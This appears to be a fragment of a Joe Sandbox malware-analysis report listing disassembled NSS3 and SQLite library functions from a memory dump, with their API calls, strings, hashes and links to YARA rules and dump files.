String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 67f9d92a99a585496d25013eef9869395de860e5756ee5293e030aeb989223e1
Instruction ID: 4de00471daad8cdfbd2911a668fd16738a0036f0fb3ddf709629133ec6739494
Opcode Fuzzy Hash: 67f9d92a99a585496d25013eef9869395de860e5756ee5293e030aeb989223e1
Instruction Fuzzy Hash: C0620471A0C2458FEB44CF69C484B9ABBF1BF49318F29419DD8465BF92D735E882CB90

Function 6CFBFC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CFBFD06

Part of subcall function 6CFBF670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CFBF696
Part of subcall function 6CFBF670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CFBF789
Part of subcall function 6CFBF670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6CFBF796
Part of subcall function 6CFBF670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CFBF79F
Part of subcall function 6CFBF670: SECITEM_DupItem_Util.NSS3 ref: 6CFBF7F0

Part of subcall function 6CFE3440: PK11_GetAllTokens.NSS3 ref: 6CFE3481
Part of subcall function 6CFE3440: PR_SetError.NSS3(00000000,00000000), ref: 6CFE34A3
Part of subcall function 6CFE3440: TlsGetValue.KERNEL32 ref: 6CFE352E
Part of subcall function 6CFE3440: EnterCriticalSection.KERNEL32(?), ref: 6CFE3542
Part of subcall function 6CFE3440: PR_Unlock.NSS3(?), ref: 6CFE355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CFBFDAD

Part of subcall function 6CFEFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CF99003,?), ref: 6CFEFD91
Part of subcall function 6CFEFD80: PORT_Alloc_Util.NSS3(A4686CFF,?), ref: 6CFEFDA2
Part of subcall function 6CFEFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CFF,?,?), ref: 6CFEFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CFBFE00

Part of subcall function 6CFEFD80: free.MOZGLUE(00000000,?,?), ref: 6CFEFDD1

Part of subcall function 6CFDE550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFDE5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFBFEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CFBFEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6CFBFED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CFBFF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CFBFF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CFBFF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CFBFFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6CFC0007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CFC0029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CFC0044

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 5d3dc8567ff703b1c0b8e3913ec25330fe46dcee41f0ac1574aef12f7653048b
Instruction ID: bf79a7e279e1e9f5abf97a0e39d58d347162e902fee56afa0f771cbbe3bdf555
Opcode Fuzzy Hash: 5d3dc8567ff703b1c0b8e3913ec25330fe46dcee41f0ac1574aef12f7653048b
Instruction Fuzzy Hash: 90B1B4B9604201AFE704CF29C880A6BF7E5FF88308F558A1DF999D7A41E770E944CB91

Function 6CFB7D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CFB7DDC

Part of subcall function 6CFF07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CF98298,?,?,?,6CF8FCE5,?), ref: 6CFF07BF
Part of subcall function 6CFF07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CFF07E6
Part of subcall function 6CFF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CFF081B
Part of subcall function 6CFF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CFF0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CFB7DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CFB7F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CFB7F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CFB7F98
PK11_FreeSymKey.NSS3(?), ref: 6CFB7FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFB7FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CFB8000

Part of subcall function 6CFD9430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CFB7F0C,?,00000000,00000000,00000000,?), ref: 6CFD943B
Part of subcall function 6CFD9430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6CFD946B
Part of subcall function 6CFD9430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CFD9546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFB8110
PK11_FreeSymKey.NSS3(00000000), ref: 6CFB811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CFB822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CFB823C

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 9d7bcefd267e40d5a9f55f0883860142beae2fe50935a5a0e347e7a954b69aa4
Instruction ID: fab34eeb3ca1edf01ae358f196a84ba4631d45d564dc0137dce5386f4a2b02fc
Opcode Fuzzy Hash: 9d7bcefd267e40d5a9f55f0883860142beae2fe50935a5a0e347e7a954b69aa4
Instruction Fuzzy Hash: D9C15EB1D4025A9FEB21CF15CC40BEAB7B8AF05348F0581E6E91DB6641E7719E85CFA0

Function 6CF2AEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6D04CF46,?,6CF1CDBD,?,6D04BF31,?,?,?,?,?,?,?), ref: 6CF2B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6D04CF46,?,6CF1CDBD,?,6D04BF31), ref: 6CF2B090
sqlite3_free.NSS3(?,?,?,?,?,?,6D04CF46,?,6CF1CDBD,?,6D04BF31), ref: 6CF2B0A2
CloseHandle.KERNEL32(?,?,6D04CF46,?,6CF1CDBD,?,6D04BF31,?,?,?,?,?,?,?,?,?), ref: 6CF2B100
sqlite3_free.NSS3(?,?,00000002,?,6D04CF46,?,6CF1CDBD,?,6D04BF31,?,?,?,?,?,?,?), ref: 6CF2B115
sqlite3_free.NSS3(?,?,?,?,?,?,6D04CF46,?,6CF1CDBD,?,6D04BF31), ref: 6CF2B12D

Part of subcall function 6CF19EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CF2C6FD,?,?,?,?,6CF7F965,00000000), ref: 6CF19F0E
Part of subcall function 6CF19EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CF7F965,00000000), ref: 6CF19F5D

Strings

`m, xrefs: 6CF2B0DF

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `m
API String ID: 3155957115-1388918807
Opcode ID: 136837d97c74062122b8a637d0f2c0c6b5de510f6cf4d7c7ef15faa3c56c9b83
Instruction ID: 3c9e626645c87d08d947fa64fa8940652c12df087552db6d3dd9499875cd28f1
Opcode Fuzzy Hash: 136837d97c74062122b8a637d0f2c0c6b5de510f6cf4d7c7ef15faa3c56c9b83
Instruction Fuzzy Hash: 999115B1A042068FEB14CFB5D984BABB7F1FF45304F254A2DE81697A50EB39E450CB51

Function 6CFC0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CFC0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CFC0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CFC1006
PK11_FreeSymKey.NSS3(?), ref: 6CFC101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFC1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFC103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CFC1048
memcpy.VCRUNTIME140(?,?,?), ref: 6CFC108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CFC10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CFC10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CFC112E

Part of subcall function 6CFC1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CFC08C4,?,?), ref: 6CFC15B8
Part of subcall function 6CFC1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CFC08C4,?,?), ref: 6CFC15C1
Part of subcall function 6CFC1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFC162E
Part of subcall function 6CFC1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFC1637

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 29c7f80140abc2d1392fe83c75226c2d8d34e438af51bfda544450b8651246ba
Instruction ID: 9199c68a72181af87669ee2764e4947b1de5bd5f984356358520f80f53d5bba8
Opcode Fuzzy Hash: 29c7f80140abc2d1392fe83c75226c2d8d34e438af51bfda544450b8651246ba
Instruction Fuzzy Hash: 6D71DEB1B042068FDB04CFA5CC80A6BB7F4FF88318F148628E91997711E771E965CB92

Function 6CFE1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CFE1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CFE2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CFE228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CFE23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CFE241C

Strings

model, xrefs: 6CFE23CB, 6CFE23EC
token, xrefs: 6CFE1F2C
serial, xrefs: 6CFE22A2
manufacturer, xrefs: 6CFE2179

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 14c159b54e013833adfa5be22ae3775a11c7aec0b63e94b821b4d1c8806e9f5b
Instruction ID: 4300871c7612054a72eb02c85fb6d62549f29d6097020f265a4b0fb5b0bdfcbe
Opcode Fuzzy Hash: 14c159b54e013833adfa5be22ae3775a11c7aec0b63e94b821b4d1c8806e9f5b
Instruction Fuzzy Hash: AA0240A2E0C7C97EF7318672C44C3D77AE0AB49328F0D166EC5DE46683D7AD59888391

Function 6CF20FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CF1CA30: EnterCriticalSection.KERNEL32(?,?,?,6CF7F9C9,?,6CF7F4DA,6CF7F9C9,?,?,6CF4369A), ref: 6CF1CA7A
Part of subcall function 6CF1CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CF1CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CF2103E
EnterCriticalSection.KERNEL32(?), ref: 6CF21139
LeaveCriticalSection.KERNEL32(?), ref: 6CF21190
sqlite3_free.NSS3(00000000), ref: 6CF21227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CF2126E
sqlite3_free.NSS3(?), ref: 6CF2127F

Strings

Pm, xrefs: 6CF2109E
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CF21267
winAccess, xrefs: 6CF2129B

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: Pm$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-3611761111
Opcode ID: c503ca9cb9397345f8f04a7ebcd81bae0c21dd091ae8ba48b501f3395adb072b
Instruction ID: 845fdaa20fe70f94e4e0c253b925c08d1b4dea59e8079790f14816dedbc08d0f
Opcode Fuzzy Hash: c503ca9cb9397345f8f04a7ebcd81bae0c21dd091ae8ba48b501f3395adb072b
Instruction Fuzzy Hash: 797115326052159BEB048FA4EC85B6F3379FB86324F258229FD11C7680DB3ADD41C79A

Function 6CFE6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CF91C6F,00000000,00000004,?,?), ref: 6CFE6C3F

Part of subcall function 6D03C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D03C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CF91C6F,00000000,00000004,?,?), ref: 6CFE6C60
PR_ExplodeTime.NSS3(00000000,6CF91C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CF91C6F,00000000,00000004,?,?), ref: 6CFE6C94

Strings

gfff, xrefs: 6CFE6D9C
gfff, xrefs: 6CFE6D30
gfff, xrefs: 6CFE6CF5
gfff, xrefs: 6CFE6CFD
gfff, xrefs: 6CFE6D66

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: abde0a96c32a8582d91d77d2236700c7e4916fa182fc97bed5f5f755fe4bfa50
Instruction ID: 02db502203b9fae221ebf6474d21496ba7dd06ef1da408123aa069f2503b5335
Opcode Fuzzy Hash: abde0a96c32a8582d91d77d2236700c7e4916fa182fc97bed5f5f755fe4bfa50
Instruction Fuzzy Hash: C0514A72B016494FC718CDADDC527DEBBDAABA4310F48C23AE842DB781D638E906C751

Function 6D060F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6D061027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6D0610B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D061353

Strings

%02x, xrefs: 6D0612F6
'%.*q', xrefs: 6D061217, 6D061292
$, xrefs: 6D0612A0
-- , xrefs: 6D060FF5
zeroblob(%d), xrefs: 6D061223
%lld, xrefs: 6D06114B
NULL, xrefs: 6D06119E

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 2b9dc70d84cccde47fa59d322b0bd3480ee469a3e15ccedaacc120de2227390a
Instruction ID: 569242d9ddbd06f8b4a38754e813d7a4faa1a60aca0a2f216ea7a8616768e0e1
Opcode Fuzzy Hash: 2b9dc70d84cccde47fa59d322b0bd3480ee469a3e15ccedaacc120de2227390a
Instruction Fuzzy Hash: B8E18C71A083819BE715CF28C480B6FBBF5BF85354F44882DE9868B251E771E945CBA3

Function 6D068FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6D068FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0690DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D069118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D06915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0691C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D069209

Strings

UUUU, xrefs: 6D069255
3333, xrefs: 6D06925E

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: a00547c575d741a9b25bb857b71154d107679fd06bf5edbbc900629d8c18c6c4
Instruction ID: 46770c4e393379fcb5275790c3a431c8bf57d4efb5eeaeda59e8b80982bf05b4
Opcode Fuzzy Hash: a00547c575d741a9b25bb857b71154d107679fd06bf5edbbc900629d8c18c6c4
Instruction Fuzzy Hash: D9A18D76E002159FEB04CB68DC90BAEB7B5BF88324F1A4129ED15A7341E735EC41CBA0

Function 6CFFBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CFFBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CFFBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CFFBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CFFBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CFFBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CFFBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CFFBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CFFBE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CFFBE1E

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: b93f000edbd72bc7115608acd5e39b1c6b9bae43032311c2a45921d9ef7de3cf
Instruction ID: 3cba5f45fb09dbc257b38a663c44ee679a272e51281ce6df198ea27e63fb939c
Opcode Fuzzy Hash: b93f000edbd72bc7115608acd5e39b1c6b9bae43032311c2a45921d9ef7de3cf
Instruction Fuzzy Hash: FA21E1BAE0028A57FB104A52DC42B8F3674DB9174DF0C0824F936FE761F350941A83A2

Function 6D0A8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6D0F14E4,6D05CC70), ref: 6D0A8D47
PR_GetCurrentThread.NSS3 ref: 6D0A8D98

Part of subcall function 6CF80F00: PR_GetPageSize.NSS3(6CF80936,FFFFE8AE,?,6CF116B7,00000000,?,6CF80936,00000000,?,6CF1204A), ref: 6CF80F1B
Part of subcall function 6CF80F00: PR_NewLogModule.NSS3(clock,6CF80936,FFFFE8AE,?,6CF116B7,00000000,?,6CF80936,00000000,?,6CF1204A), ref: 6CF80F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6D0A8E7B
htons.WSOCK32(?), ref: 6D0A8EDB
PR_GetCurrentThread.NSS3 ref: 6D0A8F99
PR_GetCurrentThread.NSS3 ref: 6D0A910A

Strings

%u.%u.%u.%u, xrefs: 6D0A8E74

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: dc5600031e47d2f88f93a39a6ff30bb5e072ed8ed972a4f97bdd99f06abfad85
Instruction ID: 178b86c2c85599d04951ae8e3798687a7c6471075801baa4f9b1993fef858d70
Opcode Fuzzy Hash: dc5600031e47d2f88f93a39a6ff30bb5e072ed8ed972a4f97bdd99f06abfad85
Instruction Fuzzy Hash: D0026831A042968FFB19CB59C4687BABBF6EF86300F8DC259D8915B293C336D945C790

Function 6CF2EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6CF2F0A6, 6CF2F2D5
%s %T already exists, xrefs: 6CF2FAC8
view, xrefs: 6CF2F061, 6CF2F071, 6CF2FAB7
not authorized, xrefs: 6CF2F957, 6CF2F9BA
